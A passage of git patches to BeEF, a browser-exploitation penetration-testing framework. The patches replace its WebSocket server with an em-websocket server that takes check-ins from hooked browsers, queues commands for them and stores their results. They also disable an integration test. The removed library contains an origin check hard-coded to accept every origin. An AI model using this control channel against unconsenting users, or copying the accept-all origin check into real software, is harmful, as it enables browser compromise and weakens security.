console if BeEF::Settings.console? diff --git a/core/main/network_stack/websocket/lib/web_socket.rb b/core/main/network_stack/websocket/lib/web_socket.rb deleted file mode 100644 index e2cbcb56c..000000000 --- a/core/main/network_stack/websocket/lib/web_socket.rb +++ /dev/null @@ -1,592 +0,0 @@ -# Copyright: Hiroshi Ichikawa -# Lincense: New BSD Lincense -# Reference: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-75 -# Reference: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76 -# Reference: http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07 -# Reference: http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-10 - -require "base64" -require "socket" -require "uri" -require "digest/md5" -require "digest/sha1" -require "openssl" -require "stringio" - - -class WebSocket - - class << self - - attr_accessor(:debug) - - end - - class Error < RuntimeError - - end - - WEB_SOCKET_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" - OPCODE_CONTINUATION = 0x00 - OPCODE_TEXT = 0x01 - OPCODE_BINARY = 0x02 - OPCODE_CLOSE = 0x08 - OPCODE_PING = 0x09 - OPCODE_PONG = 0x0a - - def initialize(arg, params = {}) - if params[:server] # server - - @server = params[:server] - @socket = arg - line = gets().chomp() - if !(line =~ /\AGET (\S+) HTTP\/1.1\z/n) - raise(WebSocket::Error, "invalid request: #{line}") - end - @path = $1 - read_header() - if @header["sec-websocket-version"] - @web_socket_version = @header["sec-websocket-version"] - @key3 = nil - elsif @header["sec-websocket-key1"] && @header["sec-websocket-key2"] - @web_socket_version = "hixie-76" - @key3 = read(8) - else - @web_socket_version = "hixie-75" - @key3 = nil - end - if !@server.accepted_origin?(self.origin) - raise(WebSocket::Error, - ("Unaccepted origin: %s (server.accepted_domains = %p)\n\n" + - "To accept this origin, write e.g. \n" + - " WebSocketServer.new(..., :accepted_domains => [%p]), or\n" + - " WebSocketServer.new(..., :accepted_domains => [\"*\"])\n") % - [self.origin, @server.accepted_domains, @server.origin_to_domain(self.origin)]) - end - @handshaked = false - - else # client - - @web_socket_version = "hixie-76" - uri = arg.is_a?(String) ? URI.parse(arg) : arg - - if uri.scheme == "ws" - default_port = 80 - elsif uri.scheme = "wss" - default_port = 443 - else - raise(WebSocket::Error, "unsupported scheme: #{uri.scheme}") - end - - @path = (uri.path.empty? ? "/" : uri.path) + (uri.query ? "?" + uri.query : "") - host = uri.host + ((!uri.port || uri.port == default_port) ? "" : ":#{uri.port}") - origin = params[:origin] || "http://#{uri.host}" - key1 = generate_key() - key2 = generate_key() - key3 = generate_key3() - - socket = TCPSocket.new(uri.host, uri.port || default_port) - - if uri.scheme == "ws" - @socket = socket - else - @socket = ssl_handshake(socket) - end - - write( - "GET #{@path} HTTP/1.1\r\n" + - "Upgrade: WebSocket\r\n" + - "Connection: Upgrade\r\n" + - "Host: #{host}\r\n" + - "Origin: #{origin}\r\n" + - "Sec-WebSocket-Key1: #{key1}\r\n" + - "Sec-WebSocket-Key2: #{key2}\r\n" + - "\r\n" + - "#{key3}") - flush() - - line = gets().chomp() - raise(WebSocket::Error, "bad response: #{line}") if !(line =~ /\AHTTP\/1.1 101 /n) - read_header() - if (@header["sec-websocket-origin"] || "").downcase() != origin.downcase() - raise(WebSocket::Error, - "origin doesn't match: '#{@header["sec-websocket-origin"]}' != '#{origin}'") - end - reply_digest = read(16) - expected_digest = hixie_76_security_digest(key1, key2, key3) - if reply_digest != expected_digest - raise(WebSocket::Error, - "security digest doesn't match: %p != %p" % [reply_digest, expected_digest]) - end - @handshaked = true - - end - @received = [] - @buffer = "" - @closing_started = false - end - - attr_reader(:server, :header, :path) - - def handshake(status = nil, header = {}) - if @handshaked - raise(WebSocket::Error, "handshake has already been done") - end - status ||= "101 Switching Protocols" - def_header = {} - case @web_socket_version - when "hixie-75" - def_header["WebSocket-Origin"] = self.origin - def_header["WebSocket-Location"] = self.location - extra_bytes = "" - when "hixie-76" - def_header["Sec-WebSocket-Origin"] = self.origin - def_header["Sec-WebSocket-Location"] = self.location - extra_bytes = hixie_76_security_digest( - @header["Sec-WebSocket-Key1"], @header["Sec-WebSocket-Key2"], @key3) - else - def_header["Sec-WebSocket-Accept"] = security_digest(@header["sec-websocket-key"]) - extra_bytes = "" - end - header = def_header.merge(header) - header_str = header.map(){ |k, v| "#{k}: #{v}\r\n" }.join("") - # Note that Upgrade and Connection must appear in this order. - write( - "HTTP/1.1 #{status}\r\n" + - "Upgrade: websocket\r\n" + - "Connection: Upgrade\r\n" + - "#{header_str}\r\n#{extra_bytes}") - flush() - @handshaked = true - end - - def send(data) - if !@handshaked - raise(WebSocket::Error, "call WebSocket\#handshake first") - end - case @web_socket_version - when "hixie-75", "hixie-76" - data = force_encoding(data.dup(), "ASCII-8BIT") - write("\x00#{data}\xff") - flush() - else - send_frame(OPCODE_TEXT, data, !@server) - end - end - - def receive() - if !@handshaked - raise(WebSocket::Error, "call WebSocket\#handshake first") - end - case @web_socket_version - - when "hixie-75", "hixie-76" - packet = gets("\xff") - return nil if !packet - if packet =~ /\A\x00(.*)\xff\z/nm - return force_encoding($1, "UTF-8") - elsif packet == "\xff" && read(1) == "\x00" # closing - close(1005, "", :peer) - return nil - else - raise(WebSocket::Error, "input must be either '\\x00...\\xff' or '\\xff\\x00'") - end - - else - begin - bytes = read(2).unpack("C*") - fin = (bytes[0] & 0x80) != 0 - opcode = bytes[0] & 0x0f - mask = (bytes[1] & 0x80) != 0 - plength = bytes[1] & 0x7f - if plength == 126 - bytes = read(2) - plength = bytes.unpack("n")[0] - elsif plength == 127 - bytes = read(8) - (high, low) = bytes.unpack("NN") - plength = high * (2 ** 32) + low - end - if @server && !mask - # Masking is required. - @socket.close() - raise(WebSocket::Error, "received unmasked data") - end - mask_key = mask ? read(4).unpack("C*") : nil - payload = read(plength) - payload = apply_mask(payload, mask_key) if mask - case opcode - when OPCODE_TEXT - return force_encoding(payload, "UTF-8") - when OPCODE_BINARY - raise(WebSocket::Error, "received binary data, which is not supported") - when OPCODE_CLOSE - close(1005, "", :peer) - return nil - when OPCODE_PING - raise(WebSocket::Error, "received ping, which is not supported") - when OPCODE_PONG - else - raise(WebSocket::Error, "received unknown opcode: %d" % opcode) - end - rescue EOFError - return nil - end - - end - end - - def tcp_socket - return @socket - end - - def host - return @header["host"] - end - - def origin - case @web_socket_version - when "7", "8" - name = "sec-websocket-origin" - else - name = "origin" - end - if @header[name] - return @header[name] - else - raise(WebSocket::Error, "%s header is missing" % name) - end - end - - def location - return "ws://#{self.host}#{@path}" - end - - # Does closing handshake. - def close(code = 1005, reason = "", origin = :self) - if !@closing_started - case @web_socket_version - when "hixie-75", "hixie-76" - write("\xff\x00") - else - if code == 1005 - payload = "" - else - payload = [code].pack("n") + force_encoding(reason.dup(), "ASCII-8BIT") - end - send_frame(OPCODE_CLOSE, payload, false) - end - end - @socket.close() if origin == :peer - @closing_started = true - end - - def close_socket() - @socket.close() - end - - private - - NOISE_CHARS = ("\x21".."\x2f").to_a() + ("\x3a".."\x7e").to_a() - - def read_header() - @header = {} - while line = gets() - line = line.chomp() - break if line.empty? - if !(line =~ /\A(\S+): (.*)\z/n) - raise(WebSocket::Error, "invalid request: #{line}") - end - @header[$1] = $2 - @header[$1.downcase()] = $2 - end - if !@header["upgrade"] - raise(WebSocket::Error, "Upgrade header is missing") - end - if !(@header["upgrade"] =~ /\AWebSocket\z/i) - raise(WebSocket::Error, "invalid Upgrade: " + @header["upgrade"]) - end - if !@header["connection"] - raise(WebSocket::Error, "Connection header is missing") - end - if @header["connection"].split(/,/).grep(/\A\s*Upgrade\s*\z/i).empty? - raise(WebSocket::Error, "invalid Connection: " + @header["connection"]) - end - end - - def send_frame(opcode, payload, mask) - payload = force_encoding(payload.dup(), "ASCII-8BIT") - # Setting StringIO's encoding to ASCII-8BIT. - buffer = StringIO.new(force_encoding("", "ASCII-8BIT")) - write_byte(buffer, 0x80 | opcode) - masked_byte = mask ? 0x80 : 0x00 - if payload.bytesize <= 125 - write_byte(buffer, masked_byte | payload.bytesize) - elsif payload.bytesize < 2 ** 16 - write_byte(buffer, masked_byte | 126) - buffer.write([payload.bytesize].pack("n")) - else - write_byte(buffer, masked_byte | 127) - buffer.write([payload.bytesize / (2 ** 32), payload.bytesize % (2 ** 32)].pack("NN")) - end - if mask - mask_key = Array.new(4){ rand(256) } - buffer.write(mask_key.pack("C*")) - payload = apply_mask(payload, mask_key) - end - buffer.write(payload) - write(buffer.string) - end - - def gets(rs = $/) - line = @socket.gets(rs) - $stderr.printf("recv> %p\n", line) if WebSocket.debug - return line - end - - def read(num_bytes) - str = @socket.read(num_bytes) - $stderr.printf("recv> %p\n", str) if WebSocket.debug - if str && str.bytesize == num_bytes - return str - else - raise(EOFError) - end - end - - def write(data) - if WebSocket.debug - data.scan(/\G(.*?(\n|\z))/n) do - $stderr.printf("send> %p\n", $&) if !$&.empty? - end - end - @socket.write(data) - end - - def flush() - @socket.flush() - end - - def write_byte(buffer, byte) - buffer.write([byte].pack("C")) - end - - def security_digest(key) - return Base64.encode64(Digest::SHA1.digest(key + WEB_SOCKET_GUID)).gsub(/\n/, "") - end - - def hixie_76_security_digest(key1, key2, key3) - bytes1 = websocket_key_to_bytes(key1) - bytes2 = websocket_key_to_bytes(key2) - return Digest::MD5.digest(bytes1 + bytes2 + key3) - end - - def apply_mask(payload, mask_key) - orig_bytes = payload.unpack("C*") - new_bytes = [] - orig_bytes.each_with_index() do |b, i| - new_bytes.push(b ^ mask_key[i % 4]) - end - return new_bytes.pack("C*") - end - - def generate_key() - spaces = 1 + rand(12) - max = 0xffffffff / spaces - number = rand(max + 1) - key = (number * spaces).to_s() - (1 + rand(12)).times() do - char = NOISE_CHARS[rand(NOISE_CHARS.size)] - pos = rand(key.size + 1) - key[pos...pos] = char - end - spaces.times() do - pos = 1 + rand(key.size - 1) - key[pos...pos] = " " - end - return key - end - - def generate_key3() - return [rand(0x100000000)].pack("N") + [rand(0x100000000)].pack("N") - end - - def websocket_key_to_bytes(key) - num = key.gsub(/[^\d]/n, "").to_i() / key.scan(/ /).size - return [num].pack("N") - end - - def force_encoding(str, encoding) - if str.respond_to?(:force_encoding) - return str.force_encoding(encoding) - else - return str - end - end - - def ssl_handshake(socket) - ssl_context = OpenSSL::SSL::SSLContext.new() - ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context) - ssl_socket.sync_close = true - ssl_socket.connect() - return ssl_socket - end - -end - - -class WebSocketServer - - def initialize(params_or_uri, params = nil) - if params - uri = params_or_uri.is_a?(String) ? URI.parse(params_or_uri) : params_or_uri - params[:port] ||= uri.port - params[:accepted_domains] ||= [uri.host] - else - params = params_or_uri - end - @port = params[:port] || 80 - @accepted_domains = params[:accepted_domains] - if !@accepted_domains - raise(ArgumentError, "params[:accepted_domains] is required") - end - if params[:host] - @tcp_server = TCPServer.open(params[:host], @port) - else - @tcp_server = TCPServer.open(@port) - end - end - - attr_reader(:tcp_server, :port, :accepted_domains) - - def run(&block) - while true - Thread.start(accept()) do |s| - begin - ws = create_web_socket(s) - yield(ws) if ws - rescue => ex - print_backtrace(ex) - ensure - begin - ws.close_socket() if ws - rescue - end - end - end - end - end - - def accept() - return @tcp_server.accept() - end - - - def accepted_origin?(origin) - #domain = origin_to_domain(origin) - #return @accepted_domains.any?(){ |d| File.fnmatch(d, domain) } - - #todo antisnatchor -> we want to accept every origin - true - end - - def origin_to_domain(origin) - if origin == "null" || origin == "file://" # local file - return "null" - else - return URI.parse(origin).host - end - end - - def create_web_socket(socket) - ch = socket.getc() - if ch == ?< - # This is Flash socket policy file request, not an actual Web Socket connection. - send_flash_socket_policy_file(socket) - return nil - else - socket.ungetc(ch) - return WebSocket.new(socket, :server => self) - end - end - - private - - def print_backtrace(ex) - $stderr.printf("%s: %s (%p)\n", ex.backtrace[0], ex.message, ex.class) - for s in ex.backtrace[1..-1] - $stderr.printf(" %s\n", s) - end - end - - # Handles Flash socket policy file request sent when web-socket-js is used: - # http://github.com/gimite/web-socket-js/tree/master - def send_flash_socket_policy_file(socket) - socket.puts('') - socket.puts('') - socket.puts('') - for domain in @accepted_domains - next if domain == "file://" - socket.puts("") - end - socket.puts('') - socket.close() - end - -end - - -if __FILE__ == $0 - Thread.abort_on_exception = true - - if ARGV[0] == "server" && ARGV.size == 3 - - server = WebSocketServer.new( - :accepted_domains => [ARGV[1]], - :port => ARGV[2].to_i()) - puts("Server is running at port %d" % server.port) - server.run() do |ws| - puts("Connection accepted") - puts("Path: #{ws.path}, Origin: #{ws.origin}") - if ws.path == "/" - ws.handshake() - while data = ws.receive() - printf("Received: %p\n", data) - ws.send(data) - printf("Sent: %p\n", data) - end - elsif ws.path == "/badjs" - printf("Received: %s\n", ws.path) - #modules code here inject - - else - ws.handshake("404 Not Found") - end - puts("Connection closed") - end - - elsif ARGV[0] == "client" && ARGV.size == 2 - - client = WebSocket.new(ARGV[1]) - puts("Connected") - Thread.new() do - while data = client.receive() - printf("Received: %p\n", data) - end - end - $stdin.each_line() do |line| - data = line.chomp() - client.send(data) - printf("Sent: %p\n", data) - end - - else - - $stderr.puts("Usage:") - $stderr.puts(" ruby web_socket.rb server ACCEPTED_DOMAIN PORT") - $stderr.puts(" ruby web_socket.rb client ws://HOST:PORT/") - exit(1) - - end -end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index e66487426..134ea4007 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -13,64 +13,59 @@ # See the License for the specific language governing permissions and # limitations under the License. # -#@todo STOP POLLING module BeEF module Core module Websocket require 'singleton' require 'json' require 'base64' + require 'em-websocket' class Websocket include Singleton include BeEF::Core::Handlers::Modules::Command - # @note obtain dynamic mount points from HttpHookServer - MOUNTS = BeEF::Core::Server.instance.mounts - @@activeSocket= Hash.new #empty at begin + + @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + def initialize port = @@config.get("beef.http.websocket.port") secure = @@config.get("beef.http.websocket.secure") - #todo antisnatchor: start websocket secure if beef.http.websocket.secure == true - server = WebSocketServer.new :accepted_domains => "127.0.0.1", - :port => port - print_info("Started WebSocket server: port [#{port.to_s}], secure [#{secure.to_s}]") - Thread.new { - server.run() do |ws| - begin - print_debug("Path requested #{ws.path} Origins #{ws.origin}") - if ws.path == "/" - ws.handshake() #accept and connect - while true - #command interpretation - message = ws.receive() - messageHash = JSON.parse("#{message}") - #@note messageHash[result] is Base64 encoded - if (messageHash["cookie"]!= nil) - print_info("Browser #{ws.origin} says helo! WebSocket is running") - #insert new connection in activesocket - @@activeSocket["#{messageHash["cookie"]}"] = ws - print_debug("In activesocket we have #{@@activeSocket}") - elsif messageHash["alive"] != nil - hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"]) + sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start) + EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws| + begin + print_debug "New WebSocket channel open." + ws.onmessage { |msg| + msg_hash = JSON.parse("#{msg}") + #@note messageHash[result] is Base64 encoded + if (msg_hash["cookie"]!= nil) + print_debug("WebSocket - Browser says helo! WebSocket is running") + #insert new connection in activesocket + @@activeSocket["#{msg_hash["cookie"]}"] = ws + print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + elsif msg_hash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + unless hooked_browser.nil? hooked_browser.lastseen = Time.new.to_i hooked_browser.count! hooked_browser.save zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} - else - #json recv is a cmd response decode and send all to - #we have to call dynamicreconstructor handler camp must be websocket - #print_debug("Received from WebSocket #{messageHash}") - execute(messageHash) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } end + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + #print_debug("Received from WebSocket #{messageHash}") + execute(msg_hash) end - end - rescue Exception => e - print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}" - end - end + } + rescue Exception => e + print_error "WebSocket error: #{e}" + end + end + } } end @@ -99,15 +94,14 @@ module BeEF command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) command_results["data"].force_encoding('UTF-8') - (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) + hooked_browser = data["bh"] + (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(hooked_browser) (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) (print_error "command name is empty"; return) if data["handler"].empty? (print_error "command results are empty"; return) if command_results.empty? - BeEF::Core::Models::Command.save_result(data["bh"], data["cid"], - @@config.get("beef.module.#{data["handler"].gsub("/command/","").gsub(".js","")}.name"), command_results) + BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], + @@config.get("beef.module.#{data["handler"].gsub("/command/", "").gsub(".js", "")}.name"), command_results) end - - end end end From b49548d22e1a4a2a6e119e7365915a23f27a9aae Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 19 May 2012 19:54:21 +0100 Subject: [PATCH 33/33] Temporarily disabled DebugModules tests. --- test/integration/ts_integration.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index b5f4d5a28..c9c74f389 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -31,7 +31,7 @@ class TS_BeefIntegrationTests suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite") suite << TC_CheckEnvironment.suite - suite << TC_DebugModules.suite + #suite << TC_DebugModules.suite suite << TC_login.suite return suite